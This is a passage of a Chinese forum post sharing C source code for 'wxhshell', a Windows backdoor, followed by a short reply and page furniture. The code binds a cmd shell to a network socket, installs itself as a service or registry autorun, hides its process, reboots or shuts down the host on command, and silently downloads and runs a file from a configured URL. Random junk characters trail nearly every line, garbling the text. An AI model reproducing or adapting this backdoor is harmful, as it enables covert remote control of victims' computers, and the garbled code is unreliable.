  if(DownloadFile(cmd,wsh)) JwXT%op9RP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[n(" 7,  
  else % $DI^yS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +[tP_%/r'^  
  } kTvd+TP4  
  else { p l&Muv  
YtWJX kB  
    switch(cmd[0]) { ~#/hzS  
  C7O6qpO  
  // 帮助 1w&!H ]%{  
  case '?': { *2X0^H|dS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b?'yAXk  
    break; +j4"!:N}B  
  } 'f?$"U JF  
  // 安装 {.?/)  
  case 'i': { SZXY/~=h  
    if(Install()) \oZ5JoO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NrJKbk^4u/  
    else R`~z0 d.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T|TO}_x  
    break; +="e]Yh;  
    } |u;v27  
  // 卸载 qQH]`#P  
  case 'r': { \~_9G{2?  
    if(Uninstall()) f@c`8L@g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b2wBs)r  
    else ,zTy?OQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nxl[d\ap+n  
    break; VZl6t;cn  
    } +) m_o"hl  
  // 显示 wxhshell 所在路径 Pp5^@A  
  case 'p': { NW&b&o  
    char svExeFile[MAX_PATH]; \(vY%DL1:  
    strcpy(svExeFile,"\n\r"); v 7x:dcV  
      strcat(svExeFile,ExeFile); N~xLu8,  
        send(wsh,svExeFile,strlen(svExeFile),0); X ' "SVO.  
    break; )d>!"JB-  
    } PKzyV ;  
  // 重启 j+ LawW-  
  case 'b': { ih;]nJ]+-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oo.2Dn6z  
    if(Boot(REBOOT)) }O4^Cc6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q')R4=0 K  
    else { `kJ^zw+  
    closesocket(wsh); `{xNXH]@  
    ExitThread(0); aUtnR<6  
    } uF3qD|I\  
    break; t0T"@t#c  
    } @$+ecaVW  
  // 关机 X7g1:L1Ys  
  case 'd': { G"XVn~]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v7`HQvQEz=  
    if(Boot(SHUTDOWN)) d8x\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]wA[c~G  
    else { }B.H|*uO  
    closesocket(wsh); 7?%k7f  
    ExitThread(0); v*[.a#1^  
    } AD<q%pu&H?  
    break; X<%Q"2hW  
    } x HhN  
  // 获取shell ;{%\9nS  
  case 's': { {b   
    CmdShell(wsh); ~Wa6J4B{K  
    closesocket(wsh); =Fr(9 (  
    ExitThread(0); )6J9J+%bi  
    break; 6ZQwBS0Y  
  } a0ObBe'  
  // 退出 ;{" +g)u  
  case 'x': { 81i655!Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L# 2+z@g  
    CloseIt(wsh); " _ka<R..  
    break; ;h jwD  
    } CtSl  
  // 离开 e;[F\ov %  
  case 'q': { Pw61_ZZ4B\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @>U-t{W  
    closesocket(wsh); KSN Pkd6  
    WSACleanup(); "PpN0Rr  
    exit(1); mA=i)Ga  
    break; Oal3rb  
        } Q{lpKe0  
  } z21|Dhiw&  
  } /Bm( `T  
#Q`dku%V:  
  // 提示信息 m-*hygkcDu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vCw e'q`1  
} H"dJ6  
  } iB& 4>+N+  
z=3\Ab  
  return; -#HA"7XOE  
} hs$GN]  
u!W0P6   
// shell模块句柄 M%kO7>h8  
int CmdShell(SOCKET sock) ssN6M./6  
{ LpqO{#ZG  
STARTUPINFO si; ftF@Wq1f  
ZeroMemory(&si,sizeof(si)); pj?f?.^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xn%pNxUL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gvr@|{k  
PROCESS_INFORMATION ProcessInfo; EpX&R,Rxk  
char cmdline[]="cmd"; FK5 <6n,U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J\M>33zu  
  return 0; f__cn^1  
} d! LE{  
De(Hw& IV  
// 自身启动模式 b7p@Dn?E  
int StartFromService(void) aD$v2)RR  
{ S_IUV)  
typedef struct D,k"PaLP  
{ Y/ .Z .FD`  
  DWORD ExitStatus; Us0EG\Y  
  DWORD PebBaseAddress; T"DlT/\  
  DWORD AffinityMask; ^8AXxE  
  DWORD BasePriority; OD6\Mr2=  
  ULONG UniqueProcessId; |* ;B  
  ULONG InheritedFromUniqueProcessId; ub\MlSr  
}   PROCESS_BASIC_INFORMATION; h* u  
tE`u(B,  
PROCNTQSIP NtQueryInformationProcess; [c|]f_ZdK  
&b fA.& `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u*ObwcI/Bn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u /\EtSH  
.G#8a1#  
  HANDLE             hProcess; +N:o-9  
  PROCESS_BASIC_INFORMATION pbi; X6@WwM~qz  
~3WF,mW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V^Q#:@0  
  if(NULL == hInst ) return 0; %~E ?Z!_W  
UZJCvfi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /! "|_W|n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Pu!dJ5[]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s)6U_  
Xy$3VU*  
  if (!NtQueryInformationProcess) return 0; +>{Y.`a;Jo  
m0;CH/D0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P;ci9vk  
  if(!hProcess) return 0; + |#O@k  
*&^:T~|=!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Ani}qQ%|  
|m^k_d!d  
  CloseHandle(hProcess); G2Qlt@.T  
~5CBEIF(NS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @c;|G$E@3  
if(hProcess==NULL) return 0; J:V6  
5',8 ziJQ  
HMODULE hMod; )W;o<:x3  
char procName[255]; 4;0lvDD  
unsigned long cbNeeded; iiS-9>]/  
]);%wy{Ho  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hn%xDJ'  
Vt".%d/`7  
  CloseHandle(hProcess); +~mA}psr  
~l]ve,W[  
if(strstr(procName,"services")) return 1; // 以服务启动 O06"bi5Y  
, P70J b  
  return 0; // 注册表启动 jw^<IMAG\8  
} hp5|@  
2Q/4bJpd  
// 主模块 mUdOX7$c>  
int StartWxhshell(LPSTR lpCmdLine) 0"\H^  
{ pgQV/6  
  SOCKET wsl; 4GY[7^  
BOOL val=TRUE; Rld!,t  
  int port=0;  ]<cK";  
  struct sockaddr_in door; w1OI4C)~  
=E.t`x=  
  if(wscfg.ws_autoins) Install();  ]%wVHC  
N`L0Vd  
port=atoi(lpCmdLine); =WyZX 7@R  
LE9(fe) fe  
if(port<=0) port=wscfg.ws_port; ToXki,  
MbZJ;,e?  
  WSADATA data; N D(/uyI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $m].8?  
HUv/ ~^<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C9n?@D;S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }%'?p<^M  
  door.sin_family = AF_INET; hRrn$BdLX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U |Jo{(Y  
  door.sin_port = htons(port); ZjQ |Wx  
s'E2P[:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ND>r#(_\  
closesocket(wsl); :UF%K>k2  
return 1; lyy W  
} QgU8 s'e  
$o0 iLFIX/  
  if(listen(wsl,2) == INVALID_SOCKET) { J;{N72  
closesocket(wsl); ]|zp0d=&o  
return 1; :y%/u%L  
} *n 6s.$p)%  
  Wxhshell(wsl); GVYBa_gx  
  WSACleanup(); \]2]/=2tLd  
\Zqng  
return 0; naYrpK,.  
YaKeq5%y  
} TgmnG/Z  
;CmS ~K:  
// 以NT服务方式启动 QS` PpyBkd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G~2jUyv  
{ E_])E`BJ  
DWORD   status = 0; 4E]l{"k<  
  DWORD   specificError = 0xfffffff; aWWU4xe  
mKL<<L [  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Li/O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rV R1wsaL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AX;8^6.F3  
  serviceStatus.dwWin32ExitCode     = 0; 0?\Zm)Q~(  
  serviceStatus.dwServiceSpecificExitCode = 0; im9G,e  
  serviceStatus.dwCheckPoint       = 0; {mZC$U'  
  serviceStatus.dwWaitHint       = 0; '_w=k 4  
gQxbi1!;9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ur$ _  
  if (hServiceStatusHandle==0) return; #fM#p+v  
`e}bdj  
status = GetLastError(); E:JJ3X|  
  if (status!=NO_ERROR) %C~1^9uq  
{ 2 Ga7$q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =BSzsH7  
    serviceStatus.dwCheckPoint       = 0; wKZ$iGMbz  
    serviceStatus.dwWaitHint       = 0; `\T]ej}zvI  
    serviceStatus.dwWin32ExitCode     = status; \>:CvTzF  
    serviceStatus.dwServiceSpecificExitCode = specificError; x(etb<!jd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #{?PbBE}  
    return; P9^-6;'Y  
  } >/kc dWl  
uxtWybv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7n8~K3~;  
  serviceStatus.dwCheckPoint       = 0; wRcAX%n&  
  serviceStatus.dwWaitHint       = 0; CFzNwgv]z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rz bj  
} s>;v!^N?u  
"?ucO4d  
// 处理NT服务事件,比如:启动、停止 66/3|83Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s \;"X  
{ \`oT#|0  
switch(fdwControl) q|o}+Vr  
{ DoJ\ q+  
case SERVICE_CONTROL_STOP: J&[@}$N  
  serviceStatus.dwWin32ExitCode = 0; HJXT9;w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !UG 7Uer  
  serviceStatus.dwCheckPoint   = 0; 4 N H  
  serviceStatus.dwWaitHint     = 0; A+SE91m  
  { ZHU5SXu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ oL.+  
  } hU`wVy  
  return; *)ardZV${  
case SERVICE_CONTROL_PAUSE: 1crnm J!C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s }UjGFP  
  break; UDL!43K  
case SERVICE_CONTROL_CONTINUE: $@^pAP   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zEd0Tmt  
  break; r=5{o 1"  
case SERVICE_CONTROL_INTERROGATE: Q1O}ly}JS  
  break; MBt9SXM  
}; UR7g`/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSYzC9h`  
} iF-6Y0~8  
u [m  
// 标准应用程序主函数 ,uo'c_f(e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U=DmsnD,  
{ A<5ZF27  
 J7=+  
// 获取操作系统版本 ]ndvt[4L  
OsIsNt=GetOsVer(); 9xO#tu]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ACvV "b  
y4t7`-,~  
  // 从命令行安装 |X0Y-  
  if(strpbrk(lpCmdLine,"iI")) Install(); SSz~YR^}Sr  
yaah*1ip[  
  // 下载执行文件 9K5pwC\$%  
if(wscfg.ws_downexe) { ),UX4%K=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E~%jX }/  
  WinExec(wscfg.ws_filenam,SW_HIDE); r\b3AKrIN  
} mQCeo}7N5  
u.mJQDTH  
if(!OsIsNt) { jNLw=  
// 如果时win9x,隐藏进程并且设置为注册表启动 Av xfI"sp  
HideProc(); +=q$x Ia  
StartWxhshell(lpCmdLine); Xf02"PXC  
} : >6F+XZ  
else v1BDP<qU2  
  if(StartFromService()) jT8#C=a7  
  // 以服务方式启动 wF <n=  
  StartServiceCtrlDispatcher(DispatchTable); XWA:J^  
else 3Mxp)uG/  
  // 普通方式启动 ]Y2RqXA*  
  StartWxhshell(lpCmdLine); g#F?!i-[F  
3a?o3=  
return 0; x^kp^ /f  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五